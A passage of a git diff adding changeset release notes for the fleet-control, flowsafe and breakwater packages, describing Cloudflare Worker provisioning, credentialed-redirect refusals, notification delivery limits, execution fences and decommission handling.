+Synchronize the parent directories of filesystem exports before returning a durable location, including when an earlier attempt left a newly created directory behind.
+
+Cancel abandoned export streams when filesystem setup or a supplied export store fails.
diff --git a/.changeset/fleet-control-credentialed-redirect-refusals.md b/.changeset/fleet-control-credentialed-redirect-refusals.md
new file mode 100644
index 00000000..74d46b71
--- /dev/null
+++ b/.changeset/fleet-control-credentialed-redirect-refusals.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Refuse redirects on the three credentialed provider transports. `CloudflareProvisioningClient`, `PlainWorkerBackend`, and `WorkersForPlatformsBackend` force `redirect: 'manual'` after a caller's `init`, so a bearer credential is not carried to an address the control plane did not choose. The raw dispatch script page refuses a redirect status where it reads the raw response, and the Workers for Platforms maintenance transport refuses one in its wrapper, because its callers read only the signed receipt header. Each throws `CredentialedRedirectRefusedError` on a 301, 302, 303, 307, or 308 and cancels the unconsumed body; the message names the operation and the status, never the address. An SDK-routed redirect surfaces as an `APIError` with the original status, not retried on the status alone and not classified transient. The Cloudflare SDK obeys an `x-should-retry: true` response header ahead of the status, so a redirect carrying that header is retried; each attempt goes through the same forced `redirect: 'manual'`, so no attempt follows the redirect.
+
+A host whose injected fetch follows redirects itself is unaffected: supply that fetch only from trusted control-plane code.
diff --git a/.changeset/fleet-control-live-provisioning.md b/.changeset/fleet-control-live-provisioning.md
new file mode 100644
index 00000000..8a2f92dd
--- /dev/null
+++ b/.changeset/fleet-control-live-provisioning.md
@@ -0,0 +1,13 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Accept successful Cloudflare list responses with `errors: null` or `result_info: null`. Retry plain-Worker maintenance requests answered by a workers.dev platform 404 or 500 text page, for up to 60 seconds at 2-second intervals by default. Both `PlainWorkerBackendOptions` and `CloudflareApiPlainWorkerBackendOptions` expose `maintenanceRouteReadyTimeoutMs` and `maintenanceRouteReadyIntervalMs` to configure these bounds, and `wait` to delay reconciled mutation retries. Host Workers that fetch tenant maintenance origins on the same account's workers.dev subdomain require the `global_fetch_strictly_public` compatibility flag. Verify account-owned API tokens through the account endpoint, with fallback to user-token verification when the account endpoint is unavailable.
+
+Record first-page R2 access refusals (403, error 10003) for non-default jurisdictions in the required `FleetResourceInventory.unavailableR2Jurisdictions` array, preserving failures for default, later pages, and other errors.
+
+Export `FleetInventoryR2Jurisdiction` from the root and Cloudflare control-plane entries, and expose the root's reachable `D1FleetInventoryRunStoreOptions`, `D1FleetOperationStoreOptions`, `FleetInventoryDeploymentFactKind`, `FleetInventoryFailureReason`, `FleetInventoryGeneration`, `FleetInventoryRowKind`, `FleetInventoryRunProgress`, `FleetInventoryRunRecord`, `FleetInventoryStage`, `FleetInventoryStagedFact`, `FleetInventoryStagedRow`, `FleetInventoryStageInput`, `FleetInventoryStageResult`, `OrdinaryWorkerDeploymentVersion`, `PreparedOrdinaryWorkerDeploymentVersions`, and `PreparedOrdinaryWorkerUpload` types.
+
+Wait within the maintenance readiness deadline when a plain-Worker maintenance response attests the previous deployment specification, including version-override requests.
+
+Retry transient ordinary Worker provisioning failures up to three total backend attempts when provider reconciliation confirms that the upload, database or bucket creation, or deployment change did not take effect.
diff --git a/.changeset/fleet-control-multipart-worker-uploads.md b/.changeset/fleet-control-multipart-worker-uploads.md
new file mode 100644
index 00000000..49f3c240
--- /dev/null
+++ b/.changeset/fleet-control-multipart-worker-uploads.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Encode Worker upload metadata as JSON, name module parts by their declared paths, and let fetch set the multipart boundary for ordinary, control, dispatch and state Worker uploads.
diff --git a/.changeset/fleet-control-native-fetch-receivers.md b/.changeset/fleet-control-native-fetch-receivers.md
new file mode 100644
index 00000000..4af7587c
--- /dev/null
+++ b/.changeset/fleet-control-native-fetch-receivers.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Call supplied fetch functions without a client or backend receiver so native Worker fetch works in the Cloudflare client and maintenance backends.
diff --git a/.changeset/fleet-control-prior-release-inspection.md b/.changeset/fleet-control-prior-release-inspection.md
new file mode 100644
index 00000000..fdd527c6
--- /dev/null
+++ b/.changeset/fleet-control-prior-release-inspection.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Allow ordinary Worker migration to inspect a previous release with different application variables, service bindings or queue bindings. Versions claiming the requested specification digest retain the binding checks.
diff --git a/.changeset/fleet-control-worker-export-redirects.md b/.changeset/fleet-control-worker-export-redirects.md
new file mode 100644
index 00000000..91919739
--- /dev/null
+++ b/.changeset/fleet-control-worker-export-redirects.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Use manual redirect handling for D1 export downloads so Worker fetch accepts the request and redirects remain rejected before export data is stored.
diff --git a/.changeset/fleet-control-worker-library.md b/.changeset/fleet-control-worker-library.md
new file mode 100644
index 00000000..570f4f22
--- /dev/null
+++ b/.changeset/fleet-control-worker-library.md
@@ -0,0 +1,9 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Expose `@proofoftech/fleet-control/cloudflare-control-plane` for a dedicated trusted Cloudflare Worker. The factory composes direct Cloudflare operations with durable Fleet D1 state, shared D1 quota coordination, and private R2 database exports. Continuation tokens resume bounded lifecycle operations against stored authority.
+
+Install the required `@cloudflare/workers-types >=5.20260730.1 <6` peer when typechecking consumers. Keep the Cloudflare token and control-plane bindings outside tenant-serving Workers, and authenticate and authorize operations before calling the library.
+
+The packed verification uses an unminified namespace-import Worker with raw and gzip regression budgets of 4,128,768 and 589,824 bytes. Those budgets apply 25% headroom to the initial packed measurements, rounded up to 64 KiB. They are repository regression limits; size inventory and audit workloads for the documented Worker resource envelope.
diff --git a/.changeset/flowsafe-inventory-not-due-notifications.md b/.changeset/flowsafe-inventory-not-due-notifications.md
new file mode 100644
index 00000000..4d9c7fea
--- /dev/null
+++ b/.changeset/flowsafe-inventory-not-due-notifications.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/flowsafe': minor
+---
+
+The pending-notifications inventory lists pending agent-inbox notifications whether due, scheduled for later, or carrying no due timestamp. Its count includes these rows, its notDue total identifies those not yet due, and entry details expose summaryAt alongside deliverAt.
+
+Pending notifications keep the deployment drain proof open until delivered, discarded, or deleted. Rescheduling alone does not clear the proof; a pending notification with neither timestamp requires a direct write or deletion because dispatch and retention leave it pending.
diff --git a/.changeset/flowsafe-notification-delivery-bound.md b/.changeset/flowsafe-notification-delivery-bound.md
new file mode 100644
index 00000000..ef9a5225
--- /dev/null
+++ b/.changeset/flowsafe-notification-delivery-bound.md
@@ -0,0 +1,11 @@
+---
+'@proofoftech/flowsafe': minor
+---
+
+Bound notification delivery to ten failed attempts by default, configurable through `maxDeliveryAttempts` on tick and thread-route factories. Discard exhausted rows before another send, retain their error/count receipts, and remove them from due scans while preserving retry delays below the bound.
+
+Require conditional failure writes through `NotificationDeliveryStorage` for dispatch. `D1NotificationsStorage` implements the atomic operation; custom stores must adopt it. Preserve newer summary, delivery and content-denial receipts after response loss, and count each local outcome once without inferring unconfirmed success. Ordinary Core storage still serves notification ingestion; the `@mastra/core` patch is required for either path. Require a custom `SignalDatabase` or `ScheduleDatabase` `batch()` to resolve elements carrying `results`, as a real `D1Result` does; `SnapshotDatabase` and `InitialAdmissionDatabase` `batch()` declare the same element.
+
+Compare notification dates chronologically before bounded selection and retention, including expanded years and numeric offsets. Direct database writers must use ISO dates or explicitly zoned ISO date-times; conditional failure writes reject raw timestamp text outside that grammar, and neither due selection nor retention matches such a value.
+
+Ship the `@mastra/core@1.53.0` patch under `patches/`. Application roots must apply it for own-property-safe summary source counts and source delivery policies; `@mastra/core@1.53.0` otherwise reads inherited `Object.prototype` members at both sites (mastra-ai/mastra#23693, mastra-ai/mastra#23694). The getting-started guide documents the pnpm, npm and Yarn routes. Flowsafe refuses to construct a notification dispatch tick that does delivery work, and refuses notification ingestion and dispatch requests, when the installed `@mastra/core` lacks the patch.
diff --git a/.changeset/flowsafe-run-router-internal-errors.md b/.changeset/flowsafe-run-router-internal-errors.md
new file mode 100644
index 00000000..9d655186
--- /dev/null
+++ b/.changeset/flowsafe-run-router-internal-errors.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/flowsafe': patch
+---
+
+Return a generic internal-error response for unexpected run-router failures while retaining the original error in server diagnostics. Preserve typed refusal status, message and reason contracts. Contain diagnostic conversion and logging failures so they cannot prevent the generic HTTP response.
diff --git a/.changeset/forward-classified-core-members.md b/.changeset/forward-classified-core-members.md
new file mode 100644
index 00000000..37ddd957
--- /dev/null
+++ b/.changeset/forward-classified-core-members.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/flowsafe': patch
+---
+
+Refuse two `Agent` entry points that `@mastra/core` releases newer than the declared peer expose. `FlowsafeDurableAgent.listActiveThreadRuns()` throws instead of returning the run, thread and resource ids of every thread on the pubsub instance with a run in flight, which Core scopes by neither principal nor agent. `FlowsafeDurableAgent.__setThreadRuntimeAgent()` throws instead of installing another agent as the target every thread-runtime path resolves through — `subscribeToThread()`, `claimThreadOwnership()`, `sendMessage()`, `queueMessage()`, `sendStateSignal()`, `sendNotificationSignal()` and `sendSignal()` — where one call would move every run those paths start, and `subscribeToThread()`'s replay target with them, onto an agent that carries none of the wrapper's guards. Both refusals carry the reason table's message; an installed 1.53.0 exposes neither member on Core, so no call that resolves today changes, and a caller that feature-detects either member now finds it on the wrapper and takes the refusal where the call was a `TypeError` before.
+
+The durable-agent surface inventory now holds against the pinned peer and against newer 1.x releases together.
diff --git a/.changeset/maintenance-purge-cursor-contract.md b/.changeset/maintenance-purge-cursor-contract.md
new file mode 100644
index 00000000..c2654b8b
--- /dev/null
+++ b/.changeset/maintenance-purge-cursor-contract.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/flowsafe': minor
+---
+
+Require the retention cursor seam on the purge duty. `runMaintenanceDuty('purge', env, context)` takes the new `MaintenancePurgeDutyContext`, whose `advanceRetentionCursor` is required, matching the `advanceCursor` the run-retention purge itself requires; the other duties keep the optional `MaintenanceDutyContext`. `FlowsafeWorker.runMaintenanceDuty` declares that split as two overloads — `'purge'` with a required `MaintenancePurgeDutyContext`, and `Exclude<MaintenanceDuty, 'purge'>` with the optional `MaintenanceDutyContext` — so a caller holding a union-typed `duty` narrows it to one branch before calling: a single call spanning the whole union matches neither overload and no longer compiles. A purge invocation whose context omits the callback is refused under a `config-error` naming `maintenance.purge.advanceRetentionCursor` before any purge surface runs, rather than purging the remaining surfaces and reporting a `retention-purge` failure.
diff --git a/.changeset/migration-completion-and-abort.md b/.changeset/migration-completion-and-abort.md
new file mode 100644
index 00000000..c699d54e
--- /dev/null
+++ b/.changeset/migration-completion-and-abort.md
@@ -0,0 +1,9 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+`advanceFleetMigration()` accepts an `AbortSignal`, matching the audit advance, and a completion callback. `signal` is call-local and never persisted, and cancellation is cooperative: the composition checks it before dispatch and before each item advance, and work already started runs to completion. A cancellation this composition observes leaves the operation and its items exactly as they were and a later continue resumes; a signal the host also wires into its own provider or store surfaces inside the item step and durably fails the item like any other step failure.
+
+`onComplete` is delivered at least once for a finalized operation, after the finalization is durable and before the call that observed it returns, so the host deduplicates on `operationId`. `AdvanceFleetMigrationOptions.onComplete` names the calls that deliver it. The alternative that fires only on the running-to-finalized transition loses the notification when the process dies between the durable finalize and the callback. A rejection propagates to the caller and leaves the durable finalization intact.
+
+`CloudflareAdvanceFleetMigrationOptions` carries both, forwarding `signal` unbound and `onComplete` bound to the caller's options object. Both additions are optional members, so existing callers are unchanged.
diff --git a/.changeset/named-databases.md b/.changeset/named-databases.md
new file mode 100644
index 00000000..4ed973e9
--- /dev/null
+++ b/.changeset/named-databases.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+`PlainWorkerProvisioningApi.listDatabases` accepts an optional name filter. The direct Cloudflare API adapter forwards it as the D1 list query and the Wrangler adapter filters its parsed inventory locally; `PlainWorkerBackend.findDatabase` passes the deployment's database name and keeps its exact-name comparison and its duplicate-name and missing-UUID refusals.
diff --git a/.changeset/neat-workers-share.md b/.changeset/neat-workers-share.md
new file mode 100644
index 00000000..f4fabe13
--- /dev/null
+++ b/.changeset/neat-workers-share.md
@@ -0,0 +1,19 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Export the shared `PlainWorkerBackend`, its `PlainWorkerProvisioningApi` port, and the port's ordinary-Worker record types. Port adapters must verify database exports independently against the durable store's committed size and digest. `WranglerLoopBackend` now extends this core while retaining the same constructor options and provisioning members.
+
+Harden ordinary-Worker provisioning and teardown:
+
+- **BEHAVIOR CHANGE:** Surface a lost external mutation lease as a failure instead of masking it behind a post-dispatch readback.
+- Preserve both operation and scratch-cleanup failures without masking either.
+- **BEHAVIOR CHANGE:** Refuse D1 bindings and database inventory entries with an empty primary identifier instead of accepting a fallback field or malformed inventory.
+- **BEHAVIOR CHANGE:** Reject malformed Worker version inventory that omits an identifier instead of treating the entry as provider absence.
+- **BEHAVIOR CHANGE:** Keep lease denials distinct from provider absence during Worker deletion.
+- Allocate adapter-owned upload scratch only when an upload is required.
+- **BEHAVIOR CHANGE:** Classify post-install scratch-cleanup failures so callers remove only Workers created by the failed attempt.
+
+Provider-neutral error messages now describe plain-Worker and provider operations instead of Wrangler. Error-message text compatibility is not claimed by this release.
+
+When upgrading, consumers that matched `deployWorker` rejections by identity or message text should catch `WorkerDeploymentError` and read `createdByAttempt` and `resourceState`.
diff --git a/.changeset/notification-tick-capability-at-construction.md b/.changeset/notification-tick-capability-at-construction.md
new file mode 100644
index 00000000..7f4c9971
--- /dev/null
+++ b/.changeset/notification-tick-capability-at-construction.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/flowsafe': minor
+---
+
+Capture the conditional-delivery capability when a notification dispatch tick is built, whatever its `limit`. `createNotificationDispatchTick()` reads `storage` and refuses one without `updateNotificationDeliveryIfUnchanged` for every configuration, including `limit: 0`, so the `NotificationDeliveryStorage` requirement no longer depends on the limit. A `limit: 0` tick still resolves `{ due: 0, delivered: 0, failed: 0 }` without reading due rows, calling storage, or needing the `@mastra/core` patch; invalid numeric policy still fails ahead of the capture.
+
+The notification ingestion route refuses when the installed `@mastra/core` lacks the delivery-policy half of that patch. `createThreadSignalRoutes()` probes `resolveNotificationDeliveryDecision` at the ingestion gate, where delivery runs through `agent.sendNotificationSignal` and reaches the delivery-policy lookup, and answers 502 with the message naming the patch on the server log. The dispatch route carries the synchronous source-key probe its summaries need, and delivers through `agent.sendSignal`, which never reaches that lookup. The probe resolves once per isolate; tick construction keeps its synchronous probe and is unaffected.
diff --git a/.changeset/operation-store-port-requirements.md b/.changeset/operation-store-port-requirements.md
new file mode 100644
index 00000000..6708438d
--- /dev/null
+++ b/.changeset/operation-store-port-requirements.md
@@ -0,0 +1,9 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+State three requirements a `FleetOperationStore` implementation must meet, and hold the shipped D1 store to them.
+
+- `withAccountOperationLease` requires that the promise it returns settle only after the lease release completes, so a composition that awaits one call holds no lease when the next one takes it. `D1FleetOperationStore` already awaits its release before returning.
+- **BEHAVIOR CHANGE:** `readOperationRowsPage` requires a page of at most `limit` rows and serves a `limit` above 1,000 at 1,000, the one documented ceiling and the maximum page `D1FleetOperationStore` already enforced. An over-large `limit` costs the caller the rows beyond the ceiling rather than the read, where the D1 store refused it before. `readFleetAuditFindingsPage` and `readFleetMigrationItemsPage` forward a caller's `limit` unchanged, so they answer the same way against any conforming store. A `limit` that is not an integer of at least 1 is refused.
+- **BEHAVIOR CHANGE:** `failOperation` reports an update target missing at its post-batch readback as a conflict, the classification `commitProgress` convergence already uses for a missing row, rather than as a divergence. Divergence keeps its narrower meaning: landed bytes that differ from the intended ones.
diff --git a/.changeset/ordinary-worker-subrequest-limits.md b/.changeset/ordinary-worker-subrequest-limits.md
new file mode 100644
index 00000000..2a4a7852
--- /dev/null
+++ b/.changeset/ordinary-worker-subrequest-limits.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Forward configured `DeploymentSpec.subrequestLimit` values through ordinary-Worker uploads in the direct Cloudflare and Wrangler adapters, including staged versions. The setting was validated and included in the specification digest but omitted from upload requests. It now accompanies `cpuLimitMs`; an omitted setting remains unspecified.
+
+Review existing ordinary-Worker subrequest settings when upgrading because those configured values now reach the provider.
diff --git a/.changeset/plain-worker-ingress-inspection.md b/.changeset/plain-worker-ingress-inspection.md
new file mode 100644
index 00000000..f7570756
--- /dev/null
+++ b/.changeset/plain-worker-ingress-inspection.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Export `plainWorkerIngressModule` from the root entry for tools that inspect ordinary Worker ingress or calculate the complete upload size. The backend appends this generated module during upload.
diff --git a/.changeset/plain-worker-migration-bindings.md b/.changeset/plain-worker-migration-bindings.md
new file mode 100644
index 00000000..6aaa902a
--- /dev/null
+++ b/.changeset/plain-worker-migration-bindings.md
@@ -0,0 +1,5 @@
+---
+"@proofoftech/fleet-control": patch
+---
+
+Validate plain Worker upgrades against the target application's bindings during candidate inspection, promotion, and settlement. Changing application variables or secrets no longer deploys the new bindings and then rejects them against the previous deployment's binding configuration.
diff --git a/.changeset/positive-worker-ingress-evidence.md b/.changeset/positive-worker-ingress-evidence.md
new file mode 100644
index 00000000..e5282b68
--- /dev/null
+++ b/.changeset/positive-worker-ingress-evidence.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Reject incomplete Worker subdomain observations before interpreting ingress as disabled. Require explicit disabled flags for a present Worker through the ordinary and backend-switch proof paths while preserving an authoritatively absent parent.
diff --git a/.changeset/provision-output-limit.md b/.changeset/provision-output-limit.md
new file mode 100644
index 00000000..086bc402
--- /dev/null
+++ b/.changeset/provision-output-limit.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/flowsafe': patch
+---
+
+`flowsafe-provision` sets a 64 MiB `maxBuffer` on the `wrangler d1 execute --json` child process whose output it parses. Node's default is 1 MiB counted across the captured stdout and stderr together, so a response past that was truncated and the run surfaced as `failed to execute Wrangler 4` with an `ENOBUFS` cause instead of the parsed rows.
diff --git a/.changeset/public-suspension-deadline-helpers.md b/.changeset/public-suspension-deadline-helpers.md
new file mode 100644
index 00000000..4ba7c4ab
--- /dev/null
+++ b/.changeset/public-suspension-deadline-helpers.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/flowsafe': minor
+---
+
+Expose `isArmableSuspensionDeadlineMs` and `suspensionDeadlinesOf` from `do-runner`, together with the `SuspensionDeadlineEntry` and `RejectedSuspensionDeadline` types that projection returns. Add the lightweight `do-runner/constants` entry for deadline values and timeout detection, and `do-runner/testing` for constructing fixtures with the same timeout envelope as the alarm path.
+
+Reuse the existing arming bounds, derivation and alarm payload factory. The test helper does not authorize a resume or mint an approval grant.
diff --git a/.changeset/run-start-request-context.md b/.changeset/run-start-request-context.md
new file mode 100644
index 00000000..fba22b9d
--- /dev/null
+++ b/.changeset/run-start-request-context.md
@@ -0,0 +1,9 @@
+---
+'@proofoftech/flowsafe': minor
+---
+
+Accept optional non-reserved `requestContext` on authenticated run starts and carry it through the protected Durable Object topology into stored application context. Expose the validated value to router and Worker start-policy hooks while preserving shorter hook signatures.
+
+Reject malformed context and reserved keys with HTTP 400. Verified schedule targets retain precedence, including absent context; provider application values override stored values and trusted capabilities retain their authority. Application context survives resume. Keyed replay validates input and runs host policy again, then preserves the first writer's context without comparing or overwriting it.
+
+Correct public agent status, stream and ordinary termination lookups to return not found for a coherent snapshot belonging to another agent or thread. Private replay, proof and recovery retain strict failures so a foreign snapshot cannot be treated as absent.
diff --git a/.changeset/stable-connector-decisions.md b/.changeset/stable-connector-decisions.md
new file mode 100644
index 00000000..ec67da20
--- /dev/null
+++ b/.changeset/stable-connector-decisions.md
@@ -0,0 +1,9 @@
+---
+'@proofoftech/breakwater': minor
+---
+
+Add stable connector decision codes, canonical policy categories, retryability and safe structured details to authored errors and audit events. Preserve custom policy names and the three-string policy-error constructor.
+
+Wrap store and evaluator failures with typed errors. Pre-execution store failures retain their original cause at the base connector boundary; Agent CLI adapters preserve the classification without exposing raw causes. Post-effect commit and best-effort release failures retain their existing suppressed disposition and non-retryable audit codes. Direct invocation and validation errors gain stable tags, and egress refusals retain their transport checks.
+
+Contain audit error-observer failures so they cannot replace completed connector results, release a pending reservation after failed result storage, or replace an original execution error. Rejected observer promises stay isolated too.
diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md
new file mode 100644
index 00000000..767f92d8
--- /dev/null
+++ b/.changeset/sticky-fence-epochs.md
@@ -0,0 +1,31 @@
+---
+'@proofoftech/flowsafe': minor
+---
+
+Add versioned execution-fence administration with artifact epochs, a sticky epoch requirement, transition revisions and exact last-command retry receipts. Upgrade supported legacy schemas additively without changing existing state or timestamps. Missing rows in new-format schemas fail closed. Admin responses omit receipts, proof execution identity and tokens; legacy commands remain compatible only while the epoch requirement is optional.
+
+Activate v2 Runtime generations with independently generated execution tokens and preserved original principal, logical target, caller epoch and agent mode across resume legs. Fenced starts require the actual D1 domain's positive initial-write witness before engine entry, binding the winning reservation and proof in the same admission transaction. Capable D1 without a fence keeps its actual namespace and ordinary persistence options; custom storage explicitly asserts no D1 namespace. Unfenced keyed starts bind their prepared identity before creation and retain uncertain outcomes.
+
+Persist preparing, prepared and prepared-unfenced journals in both managed hosts. Recover exact owned initial generations through the existing raw-row conditional repair without replaying effects or deleting tokenless snapshots. Require strict terminal reservation settlement before approval, dispatch, owner and lifecycle cleanup, then clear only the matching journal. Cold agent alarms initialize actual wrappers with the verified instance scope. Legacy journals and uncertain unfenced pending/absent outcomes remain unresolved.
+
+Keep the thread blocking-run check and run-record installation under the same lock. Validate workflow journals against the owning object's address and recheck complete agent journals after recovery waits before releasing reservations. Keyed recovery requires its configured reservation store before bookkeeping, including nonterminal outcomes.
+
+Share cold agent-wrapper initialization across concurrent requests. Probe the owning execution's liveness before reclaiming an existing reserved key, so a stream awaiting Core cleanup keeps retries pending without stranding the key. Unreadable liveness replies refuse the retry instead of authorizing a claim.
+
+Require a matching nonpending durable observation before modern start/resume success or the agent persistence acknowledgement. Return `RUN_START_PENDING` for a valid initial generation, preserving journals, watchdogs and pending schedule/deadline budgets. Project root-local summaries from the same selected observation, retaining detailed nested resume preparation and legacy compatibility.
+
+Preserve valid v1 and absent-provenance ordinary status, resume and lifecycle completion through one authoritative observation. Apply the existing binding, canonical-record and principal checks to legacy status. Legacy terminal cleanup requires no recovery journal and a confirmed raw terminal outcome; it never manufactures generation identity or spends a start key. Normal termination retains canonical agent records until lifecycle completion confirms.
+
+Create modern-unbound reservations and replace run-only claim, release and settlement with exact observed-row operations. Claim/release stamps advance without serving as generation tokens; only the caller's own valid write result proves a winning claim. Private replay compares the full generation before pending/result classification and preserves the value from its one authoritative read. Alias binding and prepared binding retain their distinct response-loss rules. Remove `claim`, `release`, `settleRun` and `rollbackFencedStart`; custom router wiring must provide the private `persistedStart` callback.
+
+Guard replay proof nomination with its original proof round/caller epoch, current exact snapshot and bound reservation at the final SQL write. Legacy proof setters cannot overwrite modern identity. Runtime, workflow-host, approval and signal re-entry gates compare complete physical generations and retain their original expectation through relevant waits. Direct approval compositions now pass an explicit trusted workflow namespace. External effects are not transactional with these checks.
+
+Capture trusted authority before asynchronous work across Worker configuration, protected JSON/header transport and the eighth agent-start authority argument. Keep public bodies and application context from supplying a winning claim. Preserve source-owner versus initiating-principal attribution, exact lifecycle counter exhaustion checks and rejection of sparse economic-operation lists.
+
+Make workflow retention generation-aware, protect run owners across supported snapshot namespaces, and pair reservation cleanup with the complete bound execution. Preserve reserved owners, uncertain generations and legacy keys that cannot be safely associated. Recheck schema and selected identity at the mutation; keep artifact deletion ahead of D1 cleanup.
+
+Custom `purgeExpiredWorkflowRuns` callers must now provide transactional `database.batch()` and an `advanceCursor` callback, retain its exported `RunRetentionCursor`, and supply that cursor on the next call. Composed maintenance persists the cursor across alarms and restarts. Finite scan cycles revisit skipped candidates without letting continuous inserts extend the current cycle; unproved D1 outcomes and failed cursor writes do not advance progress.
+
+Enforce captured caller epochs and semantic fence/schema observations in final D1 schedule mutations. Guard owned deletion participants independently, preserve admitted trigger settlement, and provide fixed pause/resume methods plus guarded no-op observations. Resume rejects a concurrent cron/timezone change. Fenced custom facades require the same-binding `FENCED_SCHEDULE_STORAGE` capability before activation; direct D1 authoring requires `batch()` and refuses omitted epochs once enforcement is active. Publish structured schedule conflict and unknown-outcome errors, retain server-side causes, and contain route audit failures without changing the selected response.
+
+Apply the shared final schema, singleton and typed semantic fence check to Runtime initial admission. Refuse unreadable authority before snapshot or dependent reservation/proof writes while preserving exact committed-write recovery.
diff --git a/.changeset/strict-inventory-absence-proofs.md b/.changeset/strict-inventory-absence-proofs.md
new file mode 100644
index 00000000..633cffbc
--- /dev/null
+++ b/.changeset/strict-inventory-absence-proofs.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Validate inventory page structure and resource identity before recording absence, removing ingress or verifying secret revocation. Keep SDK pagination and the direct/Wrangler lookup paths consistent when metadata is incomplete.
diff --git a/.changeset/strict-signal-ingress-audit.md b/.changeset/strict-signal-ingress-audit.md
new file mode 100644
index 00000000..eeea09c5
--- /dev/null
+++ b/.changeset/strict-signal-ingress-audit.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/flowsafe': minor
+---
+
+Add optional `SignalRouterOptions.validateThreadTarget` using the existing bound-thread validator contract, with captured actor context before asynchronous validation. Hosts can enforce strict ownership before forwarding. Normalize thread refusals with status 404 and audit the final downstream result.
+
+Contain audit and diagnostic failures in signal, objective, subscription and webhook routes so they preserve the selected response. Use own-property lookup for signal channels, objective methods and webhook provider configuration.
diff --git a/.changeset/tee-branch-cancel.md b/.changeset/tee-branch-cancel.md
new file mode 100644
index 00000000..ed08c9f4
--- /dev/null
+++ b/.changeset/tee-branch-cancel.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+`FileSystemDatabaseExportStore.write` no longer awaits the reader's cancel in its failure cleanup. When the body is a `tee()` branch, that cancel settles when the tee source is exhausted or errors, or the other branch is cancelled, so a write refused by the store's own checks held its rejection and its temporary file until then, and held both indefinitely when nothing drove the source. It now rejects with the store's error and removes the file without awaiting the cancel.
diff --git a/.changeset/terminal-row-admission.md b/.changeset/terminal-row-admission.md
new file mode 100644
index 00000000..3ca071b1
--- /dev/null
+++ b/.changeset/terminal-row-admission.md
@@ -0,0 +1,13 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Admit a retired terminal `decommissioned` record as an absent prior in `provisionDeployment()`, so a host can reprovision a decommissioned slug without first clearing its ledger row. A stored row qualifies when it carries the record a completed decommission leaves — its `applicationResources` entries `deleted`, its database export location, digest, and byte count recorded, and no pending lifecycle field — and no unfinished decommission or cleanup operation; a row carrying a backend-switch record qualifies only at subphase `decommissioned`, whose teardown committed that same export. The read is normalized once, before the lifecycle guards, the immutable-mapping asserts, the phase refusal, and the reservation-ownership flag that drives the failed-provision unwind. Force-then-provision continues to work unchanged: `forceDecommissionDeployment()` still removes a terminal row, and a provision over the empty key takes the path a provision with no stored row takes, where the durable reservation is written first.
+
+- **BEHAVIOR CHANGE:** A retired terminal record no longer refuses with `cannot be provisioned from phase 'decommissioned'`. Provisioning replaces the row from the supplied `DeploymentSpec`: the slug, logical script name, database name, and route hostname come from that specification, equal to the retired row's when the specification retains them, while the database and its provider-minted ID, the seeded deployment identity, and the application R2 resources are new. The artifact version is read from the provider for this deployment rather than carried over, which does not promise a value different from the retired row's. The replacement's export location, digest, and byte count are absent rather than newly minted. A changed specification is accepted, because the immutable-mapping and digest guards read a prior and a retired record is not one; `previousDurableObjectTag` is refused as it is for any other new deployment.
+- **BEHAVIOR CHANGE:** `decommissionDeployment()` replays a terminal record's `DatabaseExport` for a late retry while that terminal row is the stored row. Once a re-provision has replaced the row and the replacement reaches `ready`, a same-spec `decommissionDeployment()` call is a new decommission of the replacement and proceeds against it: the one-call facade carries no operation identity that separates a retry from a new request. Read the export from its retained location before reprovisioning the name; carry an in-flight decommission through `advanceDecommissionDeployment()`, whose token carries the operation identity; or confirm the row's deployment identity — its database ID — before issuing a one-call decommission after a re-provision.
+- **BEHAVIOR CHANGE:** A terminal row that retains an application resource, whose teardown evidence is incomplete — a force-produced row records no database export — or that carries a backend-switch record in a subphase other than `decommissioned` refuses with a message that names that residue and directs to `forceDecommissionDeployment()` after the residual physical resources are confirmed removed, in place of the generic phase message. An unfinished decommission or cleanup operation refuses through the guard that owns it, as it does from any other lifecycle entry. Every other non-resumable phase keeps the generic refusal.
+- **BEHAVIOR CHANGE:** A backend-switch teardown that completes on the legacy path writes its `applicationR2Progress` deletions into the record's top-level `applicationResources`, the projection the bounded path already writes. A row that teardown leaves therefore qualifies for retirement, where before it was refused for the application resources the switch had released.
+- **BEHAVIOR CHANGE:** A retired terminal record that persisted `wfpMode: "platform-catalog"` refuses a specification reserving another deployment mode, before the first durable write, with a message naming the persisted mode and the reserved one and directing to `forceDecommissionDeployment()`. The store pins an established catalog mode, so the replacement upsert would otherwise fail on that constraint.
+- **BEHAVIOR CHANGE:** Over a retired terminal record, the reserved-name database check runs before the first `lease.put`, so a re-provision that refuses a pre-existing database leaves that record — including its export location, digest, and byte count — byte-identical, and the failed-provision unwind no longer deletes a row the attempt never claimed. A provision with no stored row keeps its original order, where the durable reservation is written first.
